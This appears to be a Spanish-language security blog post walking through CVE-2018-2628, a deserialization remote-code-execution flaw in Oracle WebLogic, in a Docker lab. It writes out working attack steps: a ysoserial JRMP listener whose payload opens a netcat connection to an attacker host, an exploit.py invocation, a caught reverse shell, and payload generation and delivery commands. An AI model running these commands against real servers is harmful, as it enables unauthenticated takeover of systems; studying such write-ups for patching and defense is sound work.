RCE (serialización) en Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3)

El pasado 17 de abril, Oracle publicó un parche para una vulnerabilidad de serialización crítica (CVE-2018-2628). Dicha vulnerabilidad fue reportada en noviembre del año pasado y permitía la ejecución remota de comandos sin autenticación en los componentes del core de Weblogic server (WLS). Se confirmaron como vulnerables las versiones 10.3.6.0, 12.1.3.0, 12.2.1.2 y 12.2.1.3.

El punto de entrada para el ataque es la IP del servicio T3, por defecto sobre el puerto 7001. Recordar que el protocolo T3 se usa para transportar datos entre el Servidor WebLogic y otros programas Java, incluidos los clientes y otras instancias de WebLogic. El servicio desempaquetará la estructura del Object y para leerlo realizará una segunda petición a un listener JRMP (Java Remote Method Protocol). En ese momento se enviará de vuelta un payload malicioso (ysoserial.exploit.JRMPListener) que al deserializarlo dará como resultado la ejecución remota de código.

Para probarlo, vamos a montar un entorno vulnerable. Primero levantamos un Weblogic server (10.3.6.0) en un contenedor docker:
docker pull zhiqzhao/ubuntu_weblogic1036_domain
docker run -d -p 7001:7001 zhiqzhao/ubuntu_weblogic1036_domain

# docker run -d -p 192.168.1.36:7001:7001 zhiqzhao/ubuntu_weblogic1036_domain
8e2326f0e6c90c3b4d3072d4a77a745ebe2884235fa58b4be7d56ba855c0a85a

# docker ps
CONTAINER ID        IMAGE                                 COMMAND              CREATED             STATUS              PORTS                                   NAMES
8e2326f0e6c9        zhiqzhao/ubuntu_weblogic1036_domain   "startWebLogic.sh"   27 seconds ago      Up 26 seconds       5556/tcp, 192.168.1.36:7001->7001/tcp   elastic_wright

# netstat -an | grep 7001
tcp        0      0 192.168.1.36:7001       0.0.0.0:*               ESCUCHAR
unix  3      [ ]         FLUJO      CONECTADO     27001    /run/systemd/journal/stdout

A continuación, levantaremos el JRMPListener de yoserial y especificaremos como payload la conexión netcat contra la máquina del atacante:
# java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
* Opening JRMP listener on 1099

El siguiente paso, lo habéis adivinado, será poner nc a la escucha:
# nc -nlvp 4040
listening on [any] 4040 ...

Para finalmente ejecutar el exploit y obtener la shell reversa:
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port]
python exploit.py 192.168.1.36 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099

# nc -nlvp 4040
listening on [any] 4040 ...
connect to [127.0.0.1] from (UNKNOWN) [192.168.1.36] 57486

Otro ejemplo, esta vez ejecutando la calculadora a modo de PoC:
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

Fuentes:
- https://github.com/brianwrf/CVE-2018-2628
- http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
- https://github.com/brianwrf/ysoserial
- http://www.nsfocus.com.cn/content/details_141_2738.html
- https://paper.tuisec.win/detail/bc41af44c9545f3
- https://github.com/jas502n/CVE-2018-2628

Comentarios

Publicar un comentario